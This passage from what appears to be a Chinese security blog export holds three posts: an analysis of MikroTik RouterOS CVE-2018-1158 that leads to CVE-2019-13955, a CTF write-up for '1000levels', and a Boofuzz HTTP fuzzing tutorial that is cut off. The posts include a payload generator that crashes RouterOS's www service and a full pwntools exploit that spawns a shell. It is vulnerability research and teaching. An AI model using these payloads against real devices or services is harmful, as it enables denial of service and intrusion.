由于对漏洞`CVE-2018-1157`的修复不完善,通过在`filename`参数后面追加大量的`'\\x00'`,可绕过对应的补丁,再次触发该漏洞(`CVE-2019-13954`)。\n\n### 相关链接\n\n+ [Mikrotik RouterOS Multiple Authenticated Vulnerabilities](https://www.tenable.com/security/research/tra-2018-21)\n+ [Two vulnerabilities found in MikroTik's RouterOS](https://seclists.org/fulldisclosure/2019/Jul/20)\n+ [Mikrotik RouterOS Changelogs](https://mikrotik.com/download/changelogs/long-term-release-tree)\n\n<br />\n\n> 本文首发于信安之路,文章链接:[https://mp.weixin.qq.com/s/HXl-QLlNi4y9EKBY_zqKUg](https://mp.weixin.qq.com/s/HXl-QLlNi4y9EKBY_zqKUg)","tags":["MikroTik"],"categories":["IoT","漏洞"]},{"title":"CVE-2018-1158 MikroTik RouterOS漏洞分析之发现CVE-2019-13955","url":"/2019/08/15/CVE-2018-1158-MikroTik-RouterOS漏洞分析之发现CVE-2019-13955/","content":"\n### 漏洞简介\n\n`CVE-2018-1158`是`MikroTik`路由器中存在的一个`stack exhaustion`漏洞。认证的用户通过构造并发送一个特殊的`json`消息,处理程序在解析该`json`消息时会出现递归调用,造成`stack exhaustion`,导致对应的服务崩溃重启。\n\n该漏洞由`Tenable`的`Jacob Baines `发现,同时提供了对应的`PoC`脚本。另外,他的关于`RouterOS`漏洞挖掘的议题`《Bug Hunting in RouterOS》`非常不错,对`MikroTik`路由器中使用的一些自定义消息格式进行了细致介绍,同时还提供了很多工具来辅助分析。相关工具、议题以及`PoC`脚本可在`git`库[routeros](https://github.com/tenable/routeros)获取,强烈推荐给对`MikroTik`设备感兴趣的人。\n\n<!-- more -->\n\n下面利用已有的`PoC`脚本和搭建的`MikroTik RouterOS`仿真环境,对该漏洞的形成原因进行分析。\n\n### 环境准备\n\n`MikroTik`官方提供多种格式的镜像,其中可以利用`.iso`或者`.vmdk`格式的镜像,结合`VMware`虚拟机来搭建仿真环境。具体的搭建步骤可参考文章 [Make It Rain with MikroTik](https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6) 和 [Finding and exploiting CVE-2018–7445](https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1),这里不再赘述。\n\n根据`Tenable`的[漏洞公告](https://www.tenable.com/security/research/tra-2018-21)可知,该漏洞在`6.40.9`、`6.42.7`及`6.43`等版本中修复。为了便于对漏洞进行分析和补丁分析,选取的相关镜像版本如下。\n\n+ `6.40.5`,`x86`架构,用于进行漏洞分析\n+ `6.42.11`,`x86`架构,用于进行补丁分析\n\n搭建起仿真环境后,由于`RouterOS`自带的命令行界面比较受限,只能执行特定的命令,不便于后续进一步的分析和调试,因此还需要想办法获取设备的`root shell`。同样,`Jacob Baines`在他的议题`《Bug Hunting in RouterOS》`中给出了相应的方法,这里采用修改`/rw/DEFCONF`的方式。对于该文件的修改,可以通过给`Ubuntu`虚拟机添加一块硬盘并选择对应的`vmdk`文件,然后进行`mount`并修改。\n\n需要说明的是,采用这种方式进行修改后,每次设备启动后`/rw/DEFCONF`文件会被删除,如下。\n\n```shell\n# /etc/rc.d/run.d/S12defconf\nelif [ -f /rw/DEFCONF ]; then\n # ...\n defcf=$(cat /rw/DEFCONF)\n echo > /ram/defconf-params\n if [ -f /nova/bin/flash ]; then\n /nova/bin/flash --fetch-defconf-params /ram/defconf-params\n fi\n (eval $(cat /ram/defconf-params) action=apply /bin/gosh $defcf;\n cp $defcf $confirm; rm /rw/DEFCONF /ram/defconf-params) &\t# /rw/DEFCONF 被删除\nfi\n```\n\n这样下次如果需要获取root shell,还需要再重新挂载并修改,比较麻烦。可行的解决方式如下:\n\n1. 在修改`/rw/DEFCONF`文件后,创建一个虚拟机快照,下次直接恢复该快照即可;\n2. 在修改`/rw/DEFCONF`文件后,将其拷贝一份保存到其他路径,获取到设备`root shell`后再拷贝一份到`/rw`路径下。\n\n### 漏洞分析\n\n根据漏洞公告可知,与该漏洞相关的程序为`www`。在设备上利用`gdbserver`附加到该进程进行远程调试,然后运行对应的`PoC`脚本,在本地的`gdb`中捕获到如下异常。\n\n```\n(gdb)\nThread 2 received signal SIGSEGV, Segmentation fault.\n[Switching to Thread 267.373]\n=> 0x777563f5 <pthread_mutex_lock+9>: call 0x7775a948\n 0x777563fa <pthread_mutex_lock+14>: add ebx,0x7c06\n 0x77756400 <pthread_mutex_lock+20>: mov esi,DWORD PTR [ebp+0x8]\n 0x77756403 <pthread_mutex_lock+23>: mov edi,DWORD PTR [esi+0xc]\n// ...\n\n// stacktrace\n(gdb) bt\n#0 0x777563f5 in pthread_mutex_lock () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libpthread.so.0\n#1 0x77573cc3 in malloc () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libc.so.0\n#2 0x775a5c3e in string::reserve(unsigned int) () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libuc++.so\n#3 0x775a5ecd in string::assign(char const*, char const*) () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libuc++.so\n#4 0x775a5f1d in string::assign(string const&) () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libuc++.so\n#5 0x77788942 in void nv::message::insert<nv::string_id>(nv::string_id, nv::IdTraits<nv::string_id>::set_type) () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/lib/libumsg.so\n#6 0x77504b63 in ?? () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/nova/lib/www/jsproxy.p\n# ...\n#1102 0x77504bd3 in ?? () from <path>/mikrotik-6.40.5/_system-6.40.5.npk.extracted/squashfs-root/nova/lib/www/jsproxy.p\n# ...\n```\n\n> 为了便于分析,临时关闭了系统的`ASLR`机制.\n\n查看栈回溯信息,可以看到存在大量与`0x77504bd3 in ?? () from .../jsproxy.p`相关的栈帧信息,与漏洞描述中的\"递归解析\"一致。根据`PoC`中数据内容格式`\"{m01: {m01: ... }}\"`,结合单步调试,定位漏洞触发的地方在`sub_77504904()`函数中,其被`json2message()`函数调用,核心代码片段如下。\n\n```c\nsub_77504904()\n{\n // ...\n switch ( (_BYTE)a3 )\n {\n case 'b':\n v9 = v6;\n v10 = strtoul(nptr, &nptr, 0);\n nv::message::insert<nv::bool_id>(v58, v59, v10 != 0, v9);\n break;\n case 'm':\n if ( v55 != '{' )\n return v3;\n ++nptr;\n nv::message::message((nv::message *)&v63);\n v17 = sub_77D61904(nptr, (int)&v63, v16);\t// !!!递归调用\n v3 = v17;\n nptr = v17;\n if ( *v17 != '}' )\n {\n nv::message::~message((nv::message *)&v63);\n return v3;\n }\n // ...\n break;\n case 'a':\n if ( v55 != '[' )\n // ...\n\t// ...\n}\n```\n\n以`\"{m01: {m01:{m01: \" \"}}}\"`为例,其主要处理逻辑为:先解析前面的`\"{m01: \"`,执行到`switch`语句时,匹配`\"case 'm'\"`分支,然后再次调用`sub_77504904()`函数,此时数据变为`\"{m01: {m01: \"\" }}\"`,处理逻辑和之前相同。因此,只需要发送的数据包中包含足够多的重复模式,在解析该数据时会造成函数的递归调用,从而不断开辟栈帧,,最终导致`\"stack exhaustion\"`。\n\n### 补丁分析\n\n版本`6.42.11`中修复了该漏洞,基于前面对漏洞形成原因的分析,在程序`jsproxy.p`中定位漏洞触发的代码片段,如下。可以看到,该代码片段的处理逻辑与之前类似,但在调用函数`sub_7750DCFC()`时多了一个参数,用来限制递归的深度。\n\n```c\nsub_7750DCFC()\n{\n // ...\n switch ( (_BYTE)a3 )\n {\n case 'b':\n v9 = v6;\n v10 = strtoul(nptr, &nptr, 0);\n nv::message::insert<nv::bool_id>(v62, v63, v10 != 0, v9);\n break;\n case 'm':\n if ( a4 > 0xA || v59 != '{' ) // a4:限制递归深度\n return v4;\n ++nptr;\n nv::message::message((nv::message *)&v67);\n v18 = sub_7750DCFC(nptr, (int)&v67, v17, a4 + 1); // !!!递归调用\n v4 = v18;\n nptr = v18;\n if ( *v18 != 125 )\n {\n nv::message::~message((nv::message *)&v67);\n return v4;\n }\n // ...\n break;\n case 'a':\n // ...\n // ...\n}\n```\n\n### 未知漏洞发现\n\n在对补丁进行分析时,通过`IDA`的交叉引用功能,发现该函数还存在另一处递归调用,如下。\n\n<img src=\"images/function_xref.png\">\n\n调用处的部分代码片段如下。可以看到,在处理对应的消息类型`M`时,也会调用`sub_7750DCFC()`函数自身,但是却没有对递归调用深度的限制,因此猜测这个地方很可能存在问题。\n\n```c\nsub_7750DCFC()\n{\n // ...\n\tif ( (_BYTE)a3 == 'M' ) // 消息类型M\n {\n if ( v59 != '[]' )\n return v4;\n vector_base::vector_base((vector_base *)&v69);\n ++nptr;\n while ( 1 )\n {\n v4 = nptr;\n v52 = *nptr;\n if ( *nptr == ']' )\n break;\n if ( !v52 )\n goto LABEL_151;\n if ( v52 == ' ' || v52 == ',' )\n {\n ++nptr;\n }\n else\n {\n nv::message::message((nv::message *)&v65);\n v54 = sub_7750DCFC(nptr, (int)&v65, v53, a4 + 1); // !!!递归调用,没有对a4进行判断\n v4 = v54;\n nptr = v54;\n if ( *v54 != '}' )\n {\n // ...\n // ....\n}\n\n```\n\n根据`Jacob Baines`议题`《Bug Hunting in RouterOS》`中对`json`消息格式的介绍,消息类型`M`与消息类型`m`对应,`m`表示单个`Message`,而`M`表示`\"Message array\"`。\n\n<img src=\"images/json_protocol_description.png\" style=\"zoom:80%\">\n\n> 图片来源:`Jacob Baines`议题《`Bug Hunting in RouterOS`》\n\n通过构造一个简短的`payload`: `\"{M01:[M01:[M01:[]]]}\"`,然后利用`gdb`进行调试,发现确实可以到达对应的函数调用点,该函数会递归调用自身来对数据进行解析,与之前对消息类型`m`的处理逻辑相似。接着,利用一个简单的脚本来产生大量包含这种模式的数据,然后修改`CVE-2018-1158` `PoC`中对应的数据,在版本为`6.42.11`的设备上进行验证,可以看到进程`www`确实崩溃了。\n\n```python\nmsg = \"{M01:[M01:[]]}\"\nfor _ in xrange(2000):\n\tmsg = msg.replace('[]', \"[M01:[]]\")\n```\n\n通过代码静态分析,该未知漏洞在`\"Long-term\"`最新版本`6.43.16`上仍然存在。\n\n> 该漏洞(`CVE-2019-13955`)目前已被修复,建议及时升级到最新版本。\n\n### 小结\n\n+ 该漏洞触发的原因为:程序在对某些特殊构造的数据进行解析时存在递归调用,从而造成`\"stack exhaustion\"`;\n+ 对该漏洞的修复主要是在递归调用函数时增加了一个参数,用来限制递归调用的深度;\n+ 对该漏洞进行修复时未考虑全面,仅对消息类型为`m`的数据增加了递归调用深度的判断,而通过构造消息类型为`M`的数据仍可触发该漏洞。\n\n### 相关链接\n\n+ [Mikrotik RouterOS Multiple Authenticated Vulnerabilities](https://www.tenable.com/security/research/tra-2018-21)\n+ [RouterOS Bug Hunting Materials](https://github.com/tenable/routeros)\n+ [Make It Rain with MikroTik](https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6)\n+ [Finding and exploiting CVE-2018–7445](https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1)\n+ [Two vulnerabilities found in MikroTik's RouterOS](https://seclists.org/fulldisclosure/2019/Jul/20)\n+ [Mikrotik RouterOS Changelogs](https://mikrotik.com/download/changelogs/long-term-release-tree)\n\n<br />\n\n> 本文首发于安全客,文章链接:[https://www.anquanke.com/post/id/183451](https://www.anquanke.com/post/id/183451)","tags":["MikroTik"],"categories":["IoT","漏洞"]},{"title":"htib2017 pwn 之 1000levels","url":"/2019/05/12/htib2017-pwn-之-1000levels/","content":"\n### 前言\n\n最近在安全客上看到一篇文章[PIE保护详解和常用bypass手段](https://www.anquanke.com/post/id/177520),里面提到了3种绕过PIE保护机制的方式:`partial write`、`泄露地址`和`vdso/vsyscall`。由于之前对`vdso/vsyscall`机制了解的不多,于是花了点时间动手实践,以下是对题目`1000levels`的简单分析。\n\n### 1000levels\n\n#### 程序分析\n\n该程序提供的功能如下。\n\n<!-- more -->\n\n```shell\n$ ./1000levels\nWelcome to 1000levels, it's much more diffcult than before.\n1. Go\n2. Hint\n3. Give up\nChoice:\n```\n\n利用`IDA`加载程序,通过分析,程序的功能和逻辑很简单,漏洞也很明显:在`level()`函数中存在一个栈溢出漏洞。\n\n```assembly\n.text:0000000000000ED4 lea rdi, aQuestionDDAnsw ; \"Question: %d * %d = ? Answer:\"\n.text:0000000000000EDB mov eax, 0\n.text:0000000000000EE0 call _printf\n.text:0000000000000EE5 lea rax, [rbp+buf]\n.text:0000000000000EE9 mov edx, 400h ; nbytes\n.text:0000000000000EEE mov rsi, rax ; buf\n.text:0000000000000EF1 mov edi, 0 ; fd\n.text:0000000000000EF6 call _read ; stack overflow\n.text:0000000000000EFB mov [rbp+var_4], eax\n```\n\n查看一下程序开启的保护措施,可以看到启用了`NX`和`PIE`。因此可以通过栈溢出来覆盖返回地址,但问题是用什么来覆盖返回地址。\n\n```shell\ngdb-peda$ checksec \nCANARY : disabled\nFORTIFY : disabled\nNX : ENABLED\nPIE : ENABLED\nRELRO : Partial\n```\n\n在`hint()`函数中,将`system()`函数的地址保存在了栈上,但是没办法进行泄露,在程序的其他部分也没发现存在信息泄露的可能。\n\n#### `vsyscall/vdso`\n\n`vsyscall`/`vdso`是用于加速某些系统调用的两种机制。由于在进行系统调用时,操作系统需要在用户态和内核态间进行切换,传统的`int 0x80/iret`中断有点慢,`Intel`和`AMD`分别实现了`sysenter/sysexit`和`syscall/sysret`,即所谓的快速系统调用指令,使用它们更快,但同时也带了兼容性的问题。于是`Linux`实现了`vsyscall`,程序统一调用`vsyscall`,具体的选择由内核来决定。\n\n`vsyscall`用来执行特定的系统调用,减少系统调用的开销。某些系统调用并不会向内核提交参数,而仅仅是向内核请求某个数据,比如`gettimeofday()`,内核在处理这部分系统调用时可以把系统当前时间写在一个固定的位置,然后通过`mmap()`映射到用户空间,应用程序直接从该位置读取即可。(内核与用户态程序之间通过`mmap()`进行数据交换)。\n\n但是由于`vsyscall`采用固定地址映射的方式,存在一定的安全隐患,这一方式被`vdso`所改进,其随机映射在一定程度上缓解了安全威胁。但考虑到兼容性问题(针对一些比较老的应用程序),`vsyscall`和`vdso`这两种方式可能会同时存在。\n\n> `vdso`全称为`Virtual Dynamic Shared Object`,可以将其看成是一个虚拟的`so`文件,由内核提供,但这个`so`文件不在磁盘上,而是在内核里。内核将包含某个`.so`的内存页在程序启动时映射到其内存空间,对应的程序就可以当普通的`.so`来使用其中的函数。比如`syscall()`函数就是在`linux-vdso.so.1`里面,但是磁盘上并没有对应的文件。\n\n`vsyscall`和`vdso`的对比如下:\n\n+ `vsyscall`方式分配的内存较小,只允许4个系统调用,同时`vsyscall`页面是静态分配的,地址是固定的;\n+ `vdso`提供与`vsyscall`相同的功能,同时解决了其局限。`vdso`是`glibc`库提供的功能,其页面是动态分配的,地址是随机的,可以提供超过4个系统调用。\n\n在`gdb`中将`vsyscall`所在页面的内容`dump`下来,在`IDA`中进行查看如下。\n\n```assembly\nseg000:0000000000000000 seg000 segment byte public 'CODE' use64\nseg000:0000000000000000 assume cs:seg000\nseg000:0000000000000000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing\nseg000:0000000000000000 mov rax, 60h\nseg000:0000000000000007 syscall ; Low latency system call\nseg000:0000000000000009 retn\nseg000:0000000000000009 ; ---------------------------------------------------------------------------\nseg000:000000000000000A align 400h\nseg000:0000000000000400 mov rax, 0C9h\nseg000:0000000000000407 syscall ; Low latency system call\nseg000:0000000000000409 retn\nseg000:0000000000000409 ; ---------------------------------------------------------------------------\nseg000:000000000000040A align 400h\nseg000:0000000000000800 mov rax, 135h\nseg000:0000000000000807 syscall ; Low latency system call\nseg000:0000000000000809 retn\nseg000:0000000000000809 ; ---------------------------------------------------------------------------\n```\n\n可以看到其中包含3个系统调用。\n\n```c\n#define __NR_gettimeofday 96\t//0x60\n#define __NR_time 201\t\t//0xc9\n#define __NR_getcpu 309\t\t//0x135\n```\n\n前面提到过,`vsyscall`页面的地址是固定的,这意味着在这个区域有3个可用的`gadgets`。\n\n> 当直接调用`vsyscall`中的`syscall`时,会提示段错误,因为`vsyscall`执行时会检查是否从函数开头开始执行,所以可以直接利用的地址是从`vsyscall`起始偏移为`0x0`、`0x400`和`0x800`的地址。\n\n#### 利用思路\n\n在调用`hint()`函数时,将`system()`函数的地址保存在了栈上。而在调用`go()`函数时,`system()`函数的地址仍然在栈中,因此可通过控制函数流程`main()->hint()->main()->go()->level()`,结合`vsyscall`中的`gadgets`,实现将控制流劫持到栈上保存的`system()`函数地址处。\n\n在执行`main()->hint()->main()->go()->level()`时,栈帧的变化如下。\n\n<img src=\"images/hint_stackframe.png\">\n\n<img src=\"images/go_level_stackframe.png\">\n\n由上图可知,在执行`go()`函数前,`system()`函数的地址仍在栈上。但是在go()函数内,其局部变量`v5/v6`所在的内存空间地址与保存`system_ptr`的地址相同,因此需要确保该地址出的内容不能被覆盖。之后,`go()`函数调用`level()`函数,由于溢出发生在`level()`函数中,通过控制栈布局并覆盖返回地址,可劫持控制流,从而执行`system()`函数。\n\n大体的思路如上,但其中还有一些细节需要处理:\n\n1. 如何确保`system_ptr`不被覆盖? 由下面的代码可知,保证`v2<=0`和`v3=0`即可。\n\n ```c\n if ( v2 > 0 )\n v5 = v2;\n else\n puts(\"Coward\");\n puts(\"Any more?\");\n v3 = read_num();\n v6 = v5 + v3;\n ```\n\n2. 将控制流劫持到`system()`函数时,无法控制其参数。`system()`函数的第一个参数保存在`$rdi`寄存器中,但在执行`strtol()`函数后,`$rdi`寄存器的内容会改变,暂时没有其他方式来控制`$rdi`寄存器的内容。\n 在这种情况下,`one_gadget`就派上用场了。`one_gadget`是`glibc`里调用`execve('/bin/sh', NULL, NULL)`的一段非常有用的`gadget`,在能够控制`eip/rip`的时候,用`one_gadget`来做实现`RCE`非常方便。利用工具[one_gadget](https://github.com/david942j/one_gadget)在`libc`中进行查找,如下。\n\n ```shell\n $ one_gadget ./libc.so \n 0x45216 execve(\"/bin/sh\", rsp+0x30, environ)\n constraints:\n rax == NULL\n \n 0x4526a execve(\"/bin/sh\", rsp+0x30, environ)\n constraints:\n [rsp+0x30] == NULL\n \n 0xf0274 execve(\"/bin/sh\", rsp+0x50, environ)\n constraints:\n [rsp+0x50] == NULL\n \n 0xf1117 execve(\"/bin/sh\", rsp+0x70, environ)\n constraints:\n [rsp+0x70] == NULL\n ```\n\n 现在栈上保存的是`system()`函数的地址`system_ptr`,由于`system`和`one_gadget`在`libc`中的偏移是固定的,因此只需要对`system_ptr`进行加/减操作,即可计算出`one_gadget`的运行时地址,而程序正好提供了这个功能。\n\n ```c\n if ( v2 > 0 )\n v5 = v2;\n else\n puts(\"Coward\");\n puts(\"Any more?\");\n v3 = read_num();\n v6 = v5 + v3;\n ```\n\n 由于保存变量`v5`的地址与保存`system_ptr`的地址相同,因此只需要控制变量`v3`的值即可。\n\n3. 由于计算得到的`one_gadget`的地址(也就是变量`v6`的值)大于1000,`level()`函数会递归调用多次,因此需要答对所有题目,然后在最后一次进行溢出。\n\n ```c\n if ( v6 <= 999 )\n {\n \tv7 = v6;\n }\n else\n {\n \tputs(\"More levels than before!\");\n \tv7 = 1000LL;\n }\n puts(\"Let's go!'\");\n v4 = time(0LL);\n if ( (unsigned int)level(v7) != 0 )\n ```\n\n完整的利用代码如下。\n\n```python\nfrom pwn import *\n\ncontext(arch='x86_64', os='linux', log_level='debug')\n\ndef input_choice(target, choice):\n target.recvuntil(\"Choice:\\n\")\n target.sendline(str(choice))\n\ndef input_level(target, level1, level2):\n target.recvuntil(\"How many levels?\\n\")\n target.sendline(str(level1))\n target.recvuntil(\"Any more?\\n\")\n target.sendline(str(level2))\n\ndef auto_answer(target, level, last_answer):\n for index in xrange(0, level):\n target.recvuntil(\"Question: \")\n temp = target.recvuntil(\"= ?\").strip(\"= ?\").strip().split(\"*\")\n target.recvuntil(\"Answer:\")\n if index == level -1 :\n # XXX: use send() instead of sendline()\n target.send(last_answer)\n else:\n target.send(str(int(temp[0]) * int(temp[1])))\n\nLOCAL = 1\nDEBUG = 0\nimage_base = 0x555555554000 # disable ASLR for debug purpose\n\nif LOCAL:\n # FIXME: error occurred when run with the provided libc\n # target = process('./1000levels_patch', env={'LD_PRELOAD': './libc.so'})\n target = process('./1000levels_patch')\n libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\n one_gadget_offset = 0x4526a # constraints: [$rsp+0x30] = 0\nelse:\n target = remote('127.0.0.1', 1234)\n libc = ELF('./libc.so')\n one_gadget_offset = 0x4526a # constraints: [$rsp+0x30] = 0\n\nif DEBUG:\n pwnlib.gdb.attach(target, 'b *%#x\\nc\\n' % (image_base + 0xec2))\n\nsystem_offset = libc.symbols['system']\nvsyscall_address = 0xffffffffff600400 # XXX: error occurred when using 0xffffffffff600000\n\ninput_choice(target, 2)\n\ninput_choice(target, 1)\n\nfirst_level = -1\nsecond_level = one_gadget_offset - system_offset\ninput_level(target, first_level, second_level)\n\npayload = '1' * 0x38\npayload += p64(vsyscall_address) * 3\nauto_answer(target, 1000, payload)\n\ntarget.interactive()\n```\n\n> 1. 由于利用官方提供的`libc`库无法在本地运行,所以使用了本地的`libc`库进行测试;\n> 2. 跳到`vsyscall`开始处(即偏移`0x0`)时会报错,于是采用偏移`0x400`处的地址进行跳转。\n\n### 相关链接\n\n+ [PIE保护详解和常用bypass手段](https://www.anquanke.com/post/id/177520)\n+ [HITB CTF 2017 Pwn题研究](https://0x48.pw/2017/08/29/0x39/)\n+ [VDSO与vsyscall](https://blog.csdn.net/luozhaotian/article/details/79609077)\n+ [OneGadget](https://github.com/david942j/one_gadget)\n\n### 附件下载\n\n[1000levels](samples.zip)","tags":["pwn"],"categories":["CTF"]},{"title":"IoT设备固件分析之网络协议fuzz","url":"/2019/03/31/IoT设备固件分析之网络协议fuzz/","content":"\n### 前言\n\n 通常,在对`IoT`设备的固件进行分析时,固件中与提供服务如`HTTP`、`Telnet`、`RTSP`、`UPnP`等相关的二进制程序是重点分析的对象。因为一旦在这些程序中发现漏洞,其很有可能会被远程利用,进而带来严重的安全隐患。\n\n对固件二进制程序进行分析,常见的分析方法包括**模糊测试**、**补丁比对**、**工具静态扫描**和**人工审计**等。其中,模糊测试方法具备简单易用的特点,通常也比较有效,其在业界已被广泛使用。\n\n<!-- more -->\n\n下面,以某型号路由器为例,基于[`Boofuzz`](https://github.com/jtpereyda/boofuzz)框架,介绍对常见网络协议进行`fuzz`的方法。\n\n> 除了网络协议外,也可以采用类似的思路对其他协议如`BLE`、串口协议等进行`fuzz`。同时,该方法不仅局限于`IoT`设备,也可用于对常见的服务程序进行测试。\n\n### 模糊测试简介\n\n**模糊测试**采用黑盒测试的思想,通过构造大量的畸形数据作为应用程序的输入,来发现程序中可能存在的安全缺陷或漏洞。\n\n<img src=\"images/模糊测试基本流程.png\">\n\n模糊测试方法的分类有很多。根据测试用例生成方式的不同,可以分为基于**变异**的模糊测试和基于**生成**的模糊测试。根据对目标程序的理解程度,可分为**黑盒**模糊测试、**灰盒**模糊测试和**白盒**模糊测试。常见工具与方法的对应关系如下。\n\n<img src=\"images/模糊测试工具与方法对应关系.png\" style=\"zoom:60%\">\n\n针对`IoT`设备,由于其资源受限和环境受限等特点,实际中常采用黑盒模糊测试的方式。在对网络协议进行测试时,可以将常见的网络协议分为两类:一类属于**文本协议**,如`HTTP`、`FTP`等,这类协议的特点是其数据包内容都是可见字符;另一类为**二进制协议**,其特点是数据包内容大部分是不可见字符,这类协议在工控设备如`PLC`中比较常见,通常属于私有协议。针对文本协议,笔者常采用[`Sulley`](https://github.com/OpenRCE/sulley)框架进行测试;而针对二进制协议,则常采用[`kitty`](https://github.com/cisco-sas/kitty)框架进行测试。\n\n> `Sulley`框架和`kitty`框架均能够对两类协议进行测试。\n\n另外,在对`IoT`设备进行模糊测试时,需要考虑如何对设备进行监控,以判断是否出现异常。最简单的方式通过设备服务的可用性进行判断,如果设备提供的服务不可访问,表明设备可能崩溃了。但这种监控方式粒度比较粗,容易漏掉一些异常行为。另外,当设备出现异常后,还需要对环境进行恢复,以便继续进行测试。常见的方式就是重启设备。现在很多设备崩溃之后都会自动重启,如果测试目标设备没用提供这种机制,则需要采用其他方式解决。\n\n### `Boofuzz`框架简介\n\n由于`Sulley`框架目前已经停止更新维护,而[`Boofuzz`](https://github.com/jtpereyda/boofuzz)框架是`Sulley`的继承者,除了修复一些`bug`之外,还增加了框架的可扩展性。下面对`Boofuzz`框架进行简单介绍。\n\n<img src=\"images/boofuzz_framework.png\" style=\"zoom:60%\">\n\n> 来源: Fuzzing Sucks! Introducing the sulley fuzzing framework. Pedram Amini & Aaron Portnoy. Black Hat US 2007\n\n由上图可知,该框架主要包含四个部分:\n\n+ `数据生成`:根据协议格式利用原语来构造`请求` \n\n+ `会话管理/驱动`:将`请求`以图的形式链接起来形成会话,同时管理`待测目标`、`代理`、`请求`,还提供一个web界面用于监视和控制\n\n+ `代理`:与目标进行交互以实现日志记录、对网络流量进行监控等\n\n > 通常,`代理`是运行在目标设备上。但是,对于`IoT`设备而言,大部分情况下都无法在目标设备上运行代理程序。\n\n+ `实用工具`:独立的命令行工具,完成一些其他的功能\n\n其中,`数据生成`和`会话管理/驱动`是比较重要的2个模块。对于`数据生成`模块,`Boofuzz`框架提供了很多原语来定义`请求`,如最基础的`s_string()`、`s_byte()`、`s_static()`等。对于`会话管理/驱动`模块,其思想体现在下图中。\n\n<img src=\"images/session_graph.png\">\n\n> 来源: Fuzzing Sucks! Introducing the sulley fuzzing framework. Pedram Amini & Aaron Portnoy. Black Hat US 2007\n\n在上图中,节点`ehlo`、`helo`、`mail from`、`rcpt to`、`data`表示5个`请求`,路径`'ehlo'->'mail form'->'rcpt to'->'data'`和`'helo'->'mail from'->'rcpt to'->data'`体现了`请求`之间的先后顺序关系。`callback_one()`和`callback_two()`表示回调函数,当从节点`echo`移动到节点`mail from`时会触发该回调函数,利用这一机制,节点`mail from`可以获取节点`ehlo`中的一些信息。而`pre_send()`和`post_send()`则负责测试前的一些预处理工作和测试后的一些清理工作。\n\n理解了这几个模块的功能后,使用该框架进行测试的主要步骤如下:\n\n1. 根据网络数据包构造`请求`;\n2. 设置会话信息(包括测试目标的`ip`地址和端口等),然后按照请求的先后顺序将其链接起来;\n3. 添加对目标设备的监控和设备重启机制等;\n4. 开始`fuzz`。\n\n### 协议`fuzz`实战\n\n以某型号路由器为例,由于路由器上`HTTP`服务是最为常见的,故以`http`协议为例进行介绍。\n\n> 模糊测试属于动态分析技术,因此需要有真实设备,或者采用对固件进行仿真的方式。\n\n#### 根据网络数据包构造请求\n\n首先,需要尽可能多地与设备进行交互,然后捕获相应的`http`请求数据包,如下。\n\n<img src=\"images/wireshark_requests.png\">\n\n以登录请求为例,对应的`http`请求报文示例如下。\n\n```\nPOST /HNAP1/ HTTP/1.1\nConnection: keep-alive\nContent-Length: 400\nHNAP_AUTH: E889FD5249E5D51C6C9424283DE3B5DB 1553349899\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\nContent-Type: text/xml; charset=UTF-8\nAccept: */*\nX-Requested-With: XMLHttpRequest\nSOAPAction: \"http://purenetworks.com/HNAP1/Login\"\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\n\n<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"><soap:Body><Login xmlns=\"http://purenetworks.com/HNAP1/\"><Action>request</Action><Username>xxx</Username><LoginPassword>xxx</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>\n```\n\n利用该框架中提供的原语对`http`请求进行定义,部分示例如下。\n\n```python\ns_initialize('login')\t# 整个请求的名称\n\n# 对应 POST /HNAP1/ HTTP/1.1\ns_string('POST', name='method')\t\t# 对该字段进行fuzz\ns_static(' ')\ns_static('/HNAP1/', name='url')\t\t# 不对该字段进行fuzz\ns_static(' ')\ns_static('HTTP/1.1')\ns_static('\\r\\n')\n\n# 对应 Content-Length: 400\ns_static('Content-Length')\ns_static(':')\ns_size('data', output_format='ascii', fuzzable=True)\t# size的值根据data部分的长度自动进行计算,同时对该字段进行fuzz\ns_static('\\r\\n')\n\n# 对应http请求数据\nwith s_block('data'):\n s_string('<?xml version=\"1.0\" encoding=\"utf-8\"?>')\n s_static('<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">')\n s_static('<soap:Body>')\n s_static('<Login xmlns=\"http://purenetworks.com/HNAP1/\">')\n s_static('<Action>')\n s_string('login', max_len=1024)\t\t# 字段变异后的最大长度为1024\n s_static('</Action>')\n # 省略部分内容\n s_static('</soap:Envelope>')\n```\n\n是否对某个字段进行fuzz需根据具体情况确定。对所有字段都fuzz,生成的畸形数据包会非常多,测试所耗费的时间比较长,但发现问题的可能性比较大;只对少部分字段进行fuzz,生成的畸形数据包会比较少,测试所耗费的时间更短,同时发现问题的可能性也比较小。\n\n> 字段的粒度大小可能也会对测试结果有所影响。比如,如果对`<?xml version=\"1.0\" 